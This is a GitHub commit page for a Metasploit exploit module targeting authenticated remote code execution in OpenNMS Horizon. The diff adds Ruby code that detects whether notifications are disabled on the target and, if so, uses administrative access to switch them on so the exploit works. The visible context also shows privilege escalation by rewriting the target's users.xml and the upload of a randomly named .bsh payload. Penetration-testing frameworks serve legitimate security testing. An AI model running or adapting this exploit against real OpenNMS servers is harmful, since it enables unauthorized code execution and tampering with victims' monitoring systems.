Skip to content

Commit

Permalink
Add check to see if notifications are enabled
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Mar 20, 2024
1 parent 26e2b2e commit 149dc15
Show file tree
Hide file tree
Showing 2 changed files with 31 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ For versions 32.0.2 and higher, this module requires valid credentials for a use
with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.

The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version.
The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version.
Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint
and if that fails, via `/rest/filesystem/contents?f=users.xml`.

Expand Down
31 changes: 30 additions & 1 deletion modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -452,7 +452,7 @@ def escalate_or_deescalate_privs(deescalate: false)
# upload the edited users.xml file via the filesystem endpoint
success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)
unless deescalate
# If we have escalated privileges via the filesytem, we need to wait a few seconds for the changes to be saved
# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved
print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")
sleep(privesc_save_delay)
end
Expand Down Expand Up @@ -834,6 +834,32 @@ def execute_command(cmd, _opts = {})
end
end

# Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled
# in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.
# https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html
def ensure_notifications_enabled
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res

if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?
vprint_status("Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...")
res2 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),
'keep_cookies' => true,
'vars_post' => {
'status' => 'on'
}
})
fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
end
vprint_good("Notifications are enabled")
end

def exploit
# Check if we need to escalate privileges
if @highest_priv && @highest_priv != 'GOD'
Expand All @@ -847,6 +873,9 @@ def exploit
_success, message = opennms_login('exploit')
vprint_status(message) # _success will always be true here, otherwise we would have failed already

# Check to ensure Notifications are turned on. If they are disabled, enable them.
ensure_notifications_enabled

# Generate a random payload file name
@payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase

Expand Down

0 comments on commit 149dc15

Please sign in to comment.